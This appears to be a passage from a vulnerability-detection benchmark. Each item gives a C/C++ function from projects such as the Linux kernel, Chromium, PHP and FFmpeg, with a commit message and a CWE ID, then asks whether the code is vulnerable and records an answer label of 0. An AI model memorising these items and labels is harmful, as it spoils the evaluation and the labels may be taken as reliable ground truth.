When calling SG_GET_REQUEST_TABLE ioctl only a half-filled table is
returned; the remaining part will then contain stale kernel memory
information. This patch zeroes out the entire table to avoid this
issue.
Signed-off-by: Hannes Reinecke <hare@suse.com>
Reviewed-by: Bart Van Assche <bart.vanassche@wdc.com>
Reviewed-by: Christoph Hellwig <hch@lst.de>
Reviewed-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
CWE ID: CWE-200 | 0 | 60,762 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: PHP_FUNCTION(pg_close)
{
zval *pgsql_link = NULL;
int id = -1, argc = ZEND_NUM_ARGS();
PGconn *pgsql;
if (zend_parse_parameters(argc, "|r", &pgsql_link) == FAILURE) {
return;
}
if (argc == 0) {
id = FETCH_DEFAULT_LINK();
CHECK_DEFAULT_LINK(id);
}
if (pgsql_link == NULL && id == -1) {
RETURN_FALSE;
}
ZEND_FETCH_RESOURCE2(pgsql, PGconn *, pgsql_link, id, "PostgreSQL link", le_link, le_plink);
if (id==-1) { /* explicit resource number */
zend_list_close(Z_RES_P(pgsql_link));
}
if (id!=-1
|| (pgsql_link && Z_RES_P(pgsql_link) == PGG(default_link))) {
zend_list_close(PGG(default_link));
PGG(default_link) = NULL;
}
RETURN_TRUE;
}
Commit Message:
CWE ID: | 0 | 5,119 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void d_exchange(struct dentry *dentry1, struct dentry *dentry2)
{
write_seqlock(&rename_lock);
WARN_ON(!dentry1->d_inode);
WARN_ON(!dentry2->d_inode);
WARN_ON(IS_ROOT(dentry1));
WARN_ON(IS_ROOT(dentry2));
__d_move(dentry1, dentry2, true);
write_sequnlock(&rename_lock);
}
Commit Message: dentry name snapshots
take_dentry_name_snapshot() takes a safe snapshot of dentry name;
if the name is a short one, it gets copied into caller-supplied
structure, otherwise an extra reference to external name is grabbed
(those are never modified). In either case the pointer to stable
string is stored into the same structure.
dentry must be held by the caller of take_dentry_name_snapshot(),
but may be freely dropped afterwards - the snapshot will stay
until destroyed by release_dentry_name_snapshot().
Intended use:
struct name_snapshot s;
take_dentry_name_snapshot(&s, dentry);
...
access s.name
...
release_dentry_name_snapshot(&s);
Replaces fsnotify_oldname_...(), gets used in fsnotify to obtain the name
to pass down with event.
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
CWE ID: CWE-362 | 0 | 67,298 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static u32 SlidingWindowRefPicMarking(dpbStorage_t *dpb)
{
/* Variables */
i32 index, picNum;
u32 i;
/* Code */
if (dpb->numRefFrames < dpb->maxRefFrames)
{
return(HANTRO_OK);
}
else
{
index = -1;
picNum = 0;
/* find the oldest short term picture */
for (i = 0; i < dpb->numRefFrames; i++)
if (IS_SHORT_TERM(dpb->buffer[i]))
if (dpb->buffer[i].picNum < picNum || index == -1)
{
index = (i32)i;
picNum = dpb->buffer[i].picNum;
}
if (index >= 0)
{
SET_UNUSED(dpb->buffer[index]);
dpb->numRefFrames--;
if (!dpb->buffer[index].toBeDisplayed)
dpb->fullness--;
return(HANTRO_OK);
}
}
return(HANTRO_NOK);
}
Commit Message: Fix potential overflow
Bug: 28533562
Change-Id: I798ab24caa4c81f3ba564cad7c9ee019284fb702
CWE ID: CWE-119 | 0 | 159,580 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: error::Error GLES2DecoderPassthroughImpl::DoBindBuffer(GLenum target,
GLuint buffer) {
CheckErrorCallbackState();
api()->glBindBufferFn(target, GetBufferServiceID(api(), buffer, resources_,
bind_generates_resource_));
if (CheckErrorCallbackState()) {
return error::kNoError;
}
DCHECK(bound_buffers_.find(target) != bound_buffers_.end());
bound_buffers_[target] = buffer;
return error::kNoError;
}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416 | 0 | 141,867 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: on_monitor_sighup(int signo)
{
sighup_received = 1;
#ifdef POSIX_SIGTYPE
return;
#else
return(0);
#endif
}
Commit Message: Multi-realm KDC null deref [CVE-2013-1418]
If a KDC serves multiple realms, certain requests can cause
setup_server_realm() to dereference a null pointer, crashing the KDC.
CVSSv2: AV:N/AC:M/Au:N/C:N/I:N/A:P/E:POC/RL:OF/RC:C
A related but more minor vulnerability requires authentication to
exploit, and is only present if a third-party KDC database module can
dereference a null pointer under certain conditions.
(back ported from commit 5d2d9a1abe46a2c1a8614d4672d08d9d30a5f8bf)
ticket: 7757 (new)
version_fixed: 1.10.7
status: resolved
CWE ID: | 0 | 28,281 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: i915_gem_do_execbuffer(struct drm_device *dev, void *data,
struct drm_file *file,
struct drm_i915_gem_execbuffer2 *args,
struct drm_i915_gem_exec_object2 *exec)
{
drm_i915_private_t *dev_priv = dev->dev_private;
struct list_head objects;
struct eb_objects *eb;
struct drm_i915_gem_object *batch_obj;
struct drm_clip_rect *cliprects = NULL;
struct intel_ring_buffer *ring;
u32 exec_start, exec_len;
u32 seqno;
u32 mask;
int ret, mode, i;
if (!i915_gem_check_execbuffer(args)) {
DRM_DEBUG("execbuf with invalid offset/length\n");
return -EINVAL;
}
ret = validate_exec_list(exec, args->buffer_count);
if (ret)
return ret;
switch (args->flags & I915_EXEC_RING_MASK) {
case I915_EXEC_DEFAULT:
case I915_EXEC_RENDER:
ring = &dev_priv->ring[RCS];
break;
case I915_EXEC_BSD:
if (!HAS_BSD(dev)) {
DRM_DEBUG("execbuf with invalid ring (BSD)\n");
return -EINVAL;
}
ring = &dev_priv->ring[VCS];
break;
case I915_EXEC_BLT:
if (!HAS_BLT(dev)) {
DRM_DEBUG("execbuf with invalid ring (BLT)\n");
return -EINVAL;
}
ring = &dev_priv->ring[BCS];
break;
default:
DRM_DEBUG("execbuf with unknown ring: %d\n",
(int)(args->flags & I915_EXEC_RING_MASK));
return -EINVAL;
}
mode = args->flags & I915_EXEC_CONSTANTS_MASK;
mask = I915_EXEC_CONSTANTS_MASK;
switch (mode) {
case I915_EXEC_CONSTANTS_REL_GENERAL:
case I915_EXEC_CONSTANTS_ABSOLUTE:
case I915_EXEC_CONSTANTS_REL_SURFACE:
if (ring == &dev_priv->ring[RCS] &&
mode != dev_priv->relative_constants_mode) {
if (INTEL_INFO(dev)->gen < 4)
return -EINVAL;
if (INTEL_INFO(dev)->gen > 5 &&
mode == I915_EXEC_CONSTANTS_REL_SURFACE)
return -EINVAL;
/* The HW changed the meaning on this bit on gen6 */
if (INTEL_INFO(dev)->gen >= 6)
mask &= ~I915_EXEC_CONSTANTS_REL_SURFACE;
}
break;
default:
DRM_DEBUG("execbuf with unknown constants: %d\n", mode);
return -EINVAL;
}
if (args->buffer_count < 1) {
DRM_DEBUG("execbuf with %d buffers\n", args->buffer_count);
return -EINVAL;
}
if (args->num_cliprects != 0) {
if (ring != &dev_priv->ring[RCS]) {
DRM_DEBUG("clip rectangles are only valid with the render ring\n");
return -EINVAL;
}
cliprects = kmalloc(args->num_cliprects * sizeof(*cliprects),
GFP_KERNEL);
if (cliprects == NULL) {
ret = -ENOMEM;
goto pre_mutex_err;
}
if (copy_from_user(cliprects,
(struct drm_clip_rect __user *)(uintptr_t)
args->cliprects_ptr,
sizeof(*cliprects)*args->num_cliprects)) {
ret = -EFAULT;
goto pre_mutex_err;
}
}
ret = i915_mutex_lock_interruptible(dev);
if (ret)
goto pre_mutex_err;
if (dev_priv->mm.suspended) {
mutex_unlock(&dev->struct_mutex);
ret = -EBUSY;
goto pre_mutex_err;
}
eb = eb_create(args->buffer_count);
if (eb == NULL) {
mutex_unlock(&dev->struct_mutex);
ret = -ENOMEM;
goto pre_mutex_err;
}
/* Look up object handles */
INIT_LIST_HEAD(&objects);
for (i = 0; i < args->buffer_count; i++) {
struct drm_i915_gem_object *obj;
obj = to_intel_bo(drm_gem_object_lookup(dev, file,
exec[i].handle));
if (&obj->base == NULL) {
DRM_DEBUG("Invalid object handle %d at index %d\n",
exec[i].handle, i);
/* prevent error path from reading uninitialized data */
ret = -ENOENT;
goto err;
}
if (!list_empty(&obj->exec_list)) {
DRM_DEBUG("Object %p [handle %d, index %d] appears more than once in object list\n",
obj, exec[i].handle, i);
ret = -EINVAL;
goto err;
}
list_add_tail(&obj->exec_list, &objects);
obj->exec_handle = exec[i].handle;
obj->exec_entry = &exec[i];
eb_add_object(eb, obj);
}
/* take note of the batch buffer before we might reorder the lists */
batch_obj = list_entry(objects.prev,
struct drm_i915_gem_object,
exec_list);
/* Move the objects en-masse into the GTT, evicting if necessary. */
ret = i915_gem_execbuffer_reserve(ring, file, &objects);
if (ret)
goto err;
/* The objects are in their final locations, apply the relocations. */
ret = i915_gem_execbuffer_relocate(dev, eb, &objects);
if (ret) {
if (ret == -EFAULT) {
ret = i915_gem_execbuffer_relocate_slow(dev, file, ring,
&objects, eb,
exec,
args->buffer_count);
BUG_ON(!mutex_is_locked(&dev->struct_mutex));
}
if (ret)
goto err;
}
/* Set the pending read domains for the batch buffer to COMMAND */
if (batch_obj->base.pending_write_domain) {
DRM_DEBUG("Attempting to use self-modifying batch buffer\n");
ret = -EINVAL;
goto err;
}
batch_obj->base.pending_read_domains |= I915_GEM_DOMAIN_COMMAND;
ret = i915_gem_execbuffer_move_to_gpu(ring, &objects);
if (ret)
goto err;
seqno = i915_gem_next_request_seqno(ring);
for (i = 0; i < ARRAY_SIZE(ring->sync_seqno); i++) {
if (seqno < ring->sync_seqno[i]) {
/* The GPU can not handle its semaphore value wrapping,
* so every billion or so execbuffers, we need to stall
* the GPU in order to reset the counters.
*/
ret = i915_gpu_idle(dev, true);
if (ret)
goto err;
BUG_ON(ring->sync_seqno[i]);
}
}
if (ring == &dev_priv->ring[RCS] &&
mode != dev_priv->relative_constants_mode) {
ret = intel_ring_begin(ring, 4);
if (ret)
goto err;
intel_ring_emit(ring, MI_NOOP);
intel_ring_emit(ring, MI_LOAD_REGISTER_IMM(1));
intel_ring_emit(ring, INSTPM);
intel_ring_emit(ring, mask << 16 | mode);
intel_ring_advance(ring);
dev_priv->relative_constants_mode = mode;
}
if (args->flags & I915_EXEC_GEN7_SOL_RESET) {
ret = i915_reset_gen7_sol_offsets(dev, ring);
if (ret)
goto err;
}
trace_i915_gem_ring_dispatch(ring, seqno);
exec_start = batch_obj->gtt_offset + args->batch_start_offset;
exec_len = args->batch_len;
if (cliprects) {
for (i = 0; i < args->num_cliprects; i++) {
ret = i915_emit_box(dev, &cliprects[i],
args->DR1, args->DR4);
if (ret)
goto err;
ret = ring->dispatch_execbuffer(ring,
exec_start, exec_len);
if (ret)
goto err;
}
} else {
ret = ring->dispatch_execbuffer(ring, exec_start, exec_len);
if (ret)
goto err;
}
i915_gem_execbuffer_move_to_active(&objects, ring, seqno);
i915_gem_execbuffer_retire_commands(dev, file, ring);
err:
eb_destroy(eb);
while (!list_empty(&objects)) {
struct drm_i915_gem_object *obj;
obj = list_first_entry(&objects,
struct drm_i915_gem_object,
exec_list);
list_del_init(&obj->exec_list);
drm_gem_object_unreference(&obj->base);
}
mutex_unlock(&dev->struct_mutex);
pre_mutex_err:
kfree(cliprects);
return ret;
}
Commit Message: drm/i915: fix integer overflow in i915_gem_execbuffer2()
On 32-bit systems, a large args->buffer_count from userspace via ioctl
may overflow the allocation size, leading to out-of-bounds access.
This vulnerability was introduced in commit 8408c282 ("drm/i915:
First try a normal large kmalloc for the temporary exec buffers").
Signed-off-by: Xi Wang <xi.wang@gmail.com>
Reviewed-by: Chris Wilson <chris@chris-wilson.co.uk>
Cc: stable@vger.kernel.org
Signed-off-by: Daniel Vetter <daniel.vetter@ffwll.ch>
CWE ID: CWE-189 | 0 | 19,799 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: gstd_errstring(char **str, int min_stat)
{
gss_buffer_desc status;
OM_uint32 new_stat;
OM_uint32 msg_ctx = 0;
OM_uint32 ret;
int len = 0;
char *tmp;
char *statstr;
/* XXXrcd this is not correct yet */
/* XXXwps ...and now it is. */
if (!str)
return -1;
*str = NULL;
tmp = NULL;
do {
ret = gss_display_status(&new_stat, min_stat,
GSS_C_MECH_CODE, GSS_C_NO_OID, &msg_ctx,
&status);
/* GSSAPI strings are not NUL terminated */
if ((statstr = (char *)malloc(status.length + 1)) == NULL) {
LOG(LOG_ERR, ("unable to malloc status string "
"of length %ld", status.length));
gss_release_buffer(&new_stat, &status);
free(statstr);
free(tmp);
return 0;
}
memcpy(statstr, status.value, status.length);
statstr[status.length] = '\0';
if (GSS_ERROR(ret)) {
free(statstr);
free(tmp);
break;
}
if (*str) {
if ((*str = malloc(strlen(*str) + status.length +
3)) == NULL) {
LOG(LOG_ERR, ("unable to malloc error "
"string"));
gss_release_buffer(&new_stat, &status);
free(statstr);
free(tmp);
return 0;
}
len = sprintf(*str, "%s, %s", tmp, statstr);
} else {
*str = malloc(status.length + 1);
if (!*str) {
LOG(LOG_ERR, ("unable to malloc error "
"string"));
gss_release_buffer(&new_stat, &status);
free(statstr);
free(tmp);
return 0;
}
len = sprintf(*str, "%s", (char *)statstr);
}
gss_release_buffer(&new_stat, &status);
free(statstr);
free(tmp);
tmp = *str;
} while (msg_ctx != 0);
return len;
}
Commit Message: knc: fix a couple of memory leaks.
One of these can be remotely triggered during the authentication
phase which leads to a remote DoS possibility.
Pointed out by: Imre Rad <radimre83@gmail.com>
CWE ID: CWE-400 | 0 | 86,472 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void PDFiumEngine::PluginSizeUpdated(const pp::Size& size) {
CancelPaints();
plugin_size_ = size;
CalculateVisiblePages();
}
Commit Message: [pdf] Defer page unloading in JS callback.
One of the callbacks from PDFium JavaScript into the embedder is to get the
current page number. In Chromium, this will trigger a call to
CalculateMostVisiblePage that method will determine the visible pages and unload
any non-visible pages. But, if the originating JS is on a non-visible page
we'll delete the page and annotations associated with that page. This will
cause issues as we are currently working with those objects when the JavaScript
returns.
This Cl defers the page unloading triggered by getting the most visible page
until the next event is handled by the Chromium embedder.
BUG=chromium:653090
Review-Url: https://codereview.chromium.org/2418533002
Cr-Commit-Position: refs/heads/master@{#424781}
CWE ID: CWE-416 | 0 | 140,397 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Browser::UnregisterProtocolHandler(WebContents* web_contents,
const std::string& protocol,
const GURL& url,
bool user_gesture) {
content::BrowserContext* context = web_contents->GetBrowserContext();
if (context->IsOffTheRecord())
return;
ProtocolHandler handler =
ProtocolHandler::CreateProtocolHandler(protocol, url);
ProtocolHandlerRegistry* registry =
ProtocolHandlerRegistryFactory::GetForBrowserContext(context);
registry->RemoveHandler(handler);
}
Commit Message: Don't focus the location bar for NTP navigations in non-selected tabs.
BUG=677716
TEST=See bug for repro steps.
Review-Url: https://codereview.chromium.org/2624373002
Cr-Commit-Position: refs/heads/master@{#443338}
CWE ID: | 0 | 139,082 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void WebLocalFrameImpl::LoadData(const WebData& data,
const WebString& mime_type,
const WebString& text_encoding,
const WebURL& base_url,
const WebURL& unreachable_url,
bool replace,
WebFrameLoadType web_frame_load_type,
const WebHistoryItem& item,
WebHistoryLoadType web_history_load_type,
bool is_client_redirect) {
DCHECK(GetFrame());
ResourceRequest request;
HistoryItem* history_item = item;
DocumentLoader* provisional_document_loader =
GetFrame()->Loader().GetProvisionalDocumentLoader();
if (replace && !unreachable_url.IsEmpty() && provisional_document_loader) {
request = provisional_document_loader->OriginalRequest();
if (provisional_document_loader->LoadType() == kFrameLoadTypeBackForward) {
history_item = provisional_document_loader->GetHistoryItem();
web_frame_load_type = WebFrameLoadType::kBackForward;
}
}
request.SetURL(base_url);
request.SetCheckForBrowserSideNavigation(false);
FrameLoadRequest frame_request(
0, request,
SubstituteData(data, mime_type, text_encoding, unreachable_url));
DCHECK(frame_request.GetSubstituteData().IsValid());
frame_request.SetReplacesCurrentItem(replace);
if (is_client_redirect)
frame_request.SetClientRedirect(ClientRedirectPolicy::kClientRedirect);
GetFrame()->Loader().Load(
frame_request, static_cast<FrameLoadType>(web_frame_load_type),
history_item, static_cast<HistoryLoadType>(web_history_load_type));
}
Commit Message: Inherit CSP when we inherit the security origin
This prevents attacks that use main window navigation to get out of the
existing csp constraints such as the related bug
Bug: 747847
Change-Id: I1e57b50da17f65d38088205b0a3c7c49ef2ae4d8
Reviewed-on: https://chromium-review.googlesource.com/592027
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#492333}
CWE ID: CWE-732 | 0 | 134,346 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void dns_reset_resolution(struct dns_resolution *resolution)
{
/* update resolution status */
resolution->step = RSLV_STEP_NONE;
resolution->try = 0;
resolution->last_resolution = now_ms;
resolution->nb_queries = 0;
resolution->nb_responses = 0;
resolution->query_type = resolution->prefered_query_type;
/* clean up query id */
eb32_delete(&resolution->qid);
resolution->query_id = 0;
resolution->qid.key = 0;
}
Commit Message:
CWE ID: CWE-835 | 0 | 706 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int virtnet_close(struct net_device *dev)
{
struct virtnet_info *vi = netdev_priv(dev);
int i;
/* Make sure refill_work doesn't re-enable napi! */
cancel_delayed_work_sync(&vi->refill);
for (i = 0; i < vi->max_queue_pairs; i++)
napi_disable(&vi->rq[i].napi);
return 0;
}
Commit Message: virtio-net: drop NETIF_F_FRAGLIST
virtio declares support for NETIF_F_FRAGLIST, but assumes
that there are at most MAX_SKB_FRAGS + 2 fragments which isn't
always true with a fraglist.
A longer fraglist in the skb will make the call to skb_to_sgvec overflow
the sg array, leading to memory corruption.
Drop NETIF_F_FRAGLIST so we only get what we can handle.
Cc: Michael S. Tsirkin <mst@redhat.com>
Signed-off-by: Jason Wang <jasowang@redhat.com>
Acked-by: Michael S. Tsirkin <mst@redhat.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-119 | 0 | 42,991 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int read_mii_word(rtl8150_t * dev, u8 phy, __u8 indx, u16 * reg)
{
int i;
u8 data[3], tmp;
data[0] = phy;
data[1] = data[2] = 0;
tmp = indx | PHY_READ | PHY_GO;
i = 0;
set_registers(dev, PHYADD, sizeof(data), data);
set_registers(dev, PHYCNT, 1, &tmp);
do {
get_registers(dev, PHYCNT, 1, data);
} while ((data[0] & PHY_GO) && (i++ < MII_TIMEOUT));
if (i <= MII_TIMEOUT) {
get_registers(dev, PHYDAT, 2, data);
*reg = data[0] | (data[1] << 8);
return 0;
} else
return 1;
}
Commit Message: rtl8150: Use heap buffers for all register access
Allocating USB buffers on the stack is not portable, and no longer
works on x86_64 (with VMAP_STACK enabled as per default).
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-119 | 0 | 66,501 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void omx_vdec::perf_control::request_cores(int frame_duration_us)
{
if (frame_duration_us > MIN_FRAME_DURATION_FOR_PERF_REQUEST_US) {
return;
}
load_lib();
if (m_perf_lock_acquire && m_perf_handle < 0) {
int arg = 0x700 /*base value*/ + 2 /*cores*/;
m_perf_handle = m_perf_lock_acquire(m_perf_handle, 0, &arg, sizeof(arg)/sizeof(int));
if (m_perf_handle) {
DEBUG_PRINT_HIGH("perf lock acquired");
}
}
}
Commit Message: DO NOT MERGE mm-video-v4l2: vdec: Avoid processing ETBs/FTBs in invalid states
(per the spec) ETB/FTB should not be handled in states other than
Executing, Paused and Idle. This avoids accessing invalid buffers.
Also add a lock to protect the private-buffers from being deleted
while accessing from another thread.
Bug: 27890802
Security Vulnerability - Heap Use-After-Free and Possible LPE in
MediaServer (libOmxVdec problem #6)
CRs-Fixed: 1008882
Change-Id: Iaac2e383cd53cf9cf8042c9ed93ddc76dba3907e
CWE ID: | 0 | 160,319 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Pack<WebGLImageConversion::kDataFormatRGB8,
WebGLImageConversion::kAlphaDoPremultiply,
uint8_t,
uint8_t>(const uint8_t* source,
uint8_t* destination,
unsigned pixels_per_row) {
for (unsigned i = 0; i < pixels_per_row; ++i) {
float scale_factor = source[3] / 255.0f;
uint8_t source_r =
static_cast<uint8_t>(static_cast<float>(source[0]) * scale_factor);
uint8_t source_g =
static_cast<uint8_t>(static_cast<float>(source[1]) * scale_factor);
uint8_t source_b =
static_cast<uint8_t>(static_cast<float>(source[2]) * scale_factor);
destination[0] = source_r;
destination[1] = source_g;
destination[2] = source_b;
source += 4;
destination += 3;
}
}
Commit Message: Implement 2D texture uploading from client array with FLIP_Y or PREMULTIPLY_ALPHA.
BUG=774174
TEST=https://github.com/KhronosGroup/WebGL/pull/2555
R=kbr@chromium.org
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I4f4e7636314502451104730501a5048a5d7b9f3f
Reviewed-on: https://chromium-review.googlesource.com/808665
Commit-Queue: Zhenyao Mo <zmo@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#522003}
CWE ID: CWE-125 | 0 | 146,669 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static __u32 ext4_inode_csum(struct inode *inode, struct ext4_inode *raw,
struct ext4_inode_info *ei)
{
struct ext4_sb_info *sbi = EXT4_SB(inode->i_sb);
__u16 csum_lo;
__u16 csum_hi = 0;
__u32 csum;
csum_lo = le16_to_cpu(raw->i_checksum_lo);
raw->i_checksum_lo = 0;
if (EXT4_INODE_SIZE(inode->i_sb) > EXT4_GOOD_OLD_INODE_SIZE &&
EXT4_FITS_IN_INODE(raw, ei, i_checksum_hi)) {
csum_hi = le16_to_cpu(raw->i_checksum_hi);
raw->i_checksum_hi = 0;
}
csum = ext4_chksum(sbi, ei->i_csum_seed, (__u8 *)raw,
EXT4_INODE_SIZE(inode->i_sb));
raw->i_checksum_lo = cpu_to_le16(csum_lo);
if (EXT4_INODE_SIZE(inode->i_sb) > EXT4_GOOD_OLD_INODE_SIZE &&
EXT4_FITS_IN_INODE(raw, ei, i_checksum_hi))
raw->i_checksum_hi = cpu_to_le16(csum_hi);
return csum;
}
Commit Message: ext4: fix races between page faults and hole punching
Currently, page faults and hole punching are completely unsynchronized.
This can result in page fault faulting in a page into a range that we
are punching after truncate_pagecache_range() has been called and thus
we can end up with a page mapped to disk blocks that will be shortly
freed. Filesystem corruption will shortly follow. Note that the same
race is avoided for truncate by checking page fault offset against
i_size but there isn't similar mechanism available for punching holes.
Fix the problem by creating new rw semaphore i_mmap_sem in inode and
grab it for writing over truncate, hole punching, and other functions
removing blocks from extent tree and for read over page faults. We
cannot easily use i_data_sem for this since that ranks below transaction
start and we need something ranking above it so that it can be held over
the whole truncate / hole punching operation. Also remove various
workarounds we had in the code to reduce race window when page fault
could have created pages with stale mapping information.
Signed-off-by: Jan Kara <jack@suse.com>
Signed-off-by: Theodore Ts'o <tytso@mit.edu>
CWE ID: CWE-362 | 0 | 56,584 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int ff_update_duplicate_context(MpegEncContext *dst, MpegEncContext *src)
{
MpegEncContext bak;
int i, ret;
backup_duplicate_context(&bak, dst);
memcpy(dst, src, sizeof(MpegEncContext));
backup_duplicate_context(dst, &bak);
for (i = 0; i < 12; i++) {
dst->pblocks[i] = &dst->block[i];
}
if (dst->avctx->codec_tag == AV_RL32("VCR2")) {
FFSWAP(void *, dst->pblocks[4], dst->pblocks[5]);
}
if (!dst->sc.edge_emu_buffer &&
(ret = ff_mpeg_framesize_alloc(dst->avctx, &dst->me,
&dst->sc, dst->linesize)) < 0) {
av_log(dst->avctx, AV_LOG_ERROR, "failed to allocate context "
"scratch buffers.\n");
return ret;
}
return 0;
}
Commit Message: avcodec/idctdsp: Transmit studio_profile to init instead of using AVCodecContext profile
These 2 fields are not always the same, it is simpler to always use the same field
for detecting studio profile
Fixes: null pointer dereference
Fixes: ffmpeg_crash_3.avi
Found-by: Thuan Pham <thuanpv@comp.nus.edu.sg>, Marcel Böhme, Andrew Santosa and Alexandru RazvanCaciulescu with AFLSmart
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-476 | 0 | 81,744 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void WebContentsImpl::SaveFrame(const GURL& url,
const Referrer& referrer) {
SaveFrameWithHeaders(url, referrer, std::string());
}
Commit Message: Don't call WebContents::DownloadImage() callback if the WebContents were deleted
BUG=583718
Review URL: https://codereview.chromium.org/1685343004
Cr-Commit-Position: refs/heads/master@{#375700}
CWE ID: | 0 | 131,983 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: GraphicsLayer* FrameView::layerForScrollCorner() const
{
RenderView* renderView = this->renderView();
if (!renderView)
return 0;
return renderView->compositor()->layerForScrollCorner();
}
Commit Message: Defer call to updateWidgetPositions() outside of RenderLayerScrollableArea.
updateWidgetPositions() can destroy the render tree, so it should never
be called from inside RenderLayerScrollableArea. Leaving it there allows
for the potential of use-after-free bugs.
BUG=402407
R=vollick@chromium.org
Review URL: https://codereview.chromium.org/490473003
git-svn-id: svn://svn.chromium.org/blink/trunk@180681 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-416 | 0 | 119,862 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void ContainerNode::setHovered(bool over)
{
if (over == hovered())
return;
Node::setHovered(over);
if (!layoutObject()) {
if (over)
return;
if (isElementNode() && toElement(this)->childrenOrSiblingsAffectedByHover() && styleChangeType() < SubtreeStyleChange)
document().styleEngine().pseudoStateChangedForElement(CSSSelector::PseudoHover, *toElement(this));
else
setNeedsStyleRecalc(LocalStyleChange, StyleChangeReasonForTracing::createWithExtraData(StyleChangeReason::PseudoClass, StyleChangeExtraData::Hover));
return;
}
if (styleChangeType() < SubtreeStyleChange) {
if (computedStyle()->affectedByHover() && computedStyle()->hasPseudoStyle(FIRST_LETTER))
setNeedsStyleRecalc(SubtreeStyleChange, StyleChangeReasonForTracing::createWithExtraData(StyleChangeReason::PseudoClass, StyleChangeExtraData::Hover));
else if (isElementNode() && toElement(this)->childrenOrSiblingsAffectedByHover())
document().styleEngine().pseudoStateChangedForElement(CSSSelector::PseudoHover, *toElement(this));
else if (computedStyle()->affectedByHover())
setNeedsStyleRecalc(LocalStyleChange, StyleChangeReasonForTracing::createWithExtraData(StyleChangeReason::PseudoClass, StyleChangeExtraData::Hover));
}
LayoutTheme::theme().controlStateChanged(*layoutObject(), HoverControlState);
}
Commit Message: Fix an optimisation in ContainerNode::notifyNodeInsertedInternal
R=tkent@chromium.org
BUG=544020
Review URL: https://codereview.chromium.org/1420653003
Cr-Commit-Position: refs/heads/master@{#355240}
CWE ID: | 0 | 125,106 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool HTMLInputElement::ValueMissing() const {
return willValidate() && input_type_->ValueMissing(value());
}
Commit Message: MacViews: Enable secure text input for password Textfields.
In Cocoa the NSTextInputContext automatically enables secure text input
when activated and it's in the secure text entry mode.
RenderWidgetHostViewMac did the similar thing for ages following the
WebKit example.
views::Textfield needs to do the same thing in a fashion that's
sycnrhonized with RenderWidgetHostViewMac, otherwise the race conditions
are possible when the Textfield gets focus, activates the secure text
input mode and the RWHVM loses focus immediately afterwards and disables
the secure text input instead of leaving it in the enabled state.
BUG=818133,677220
Change-Id: I6db6c4b59e4a1a72cbb7f8c7056f71b04a3df08b
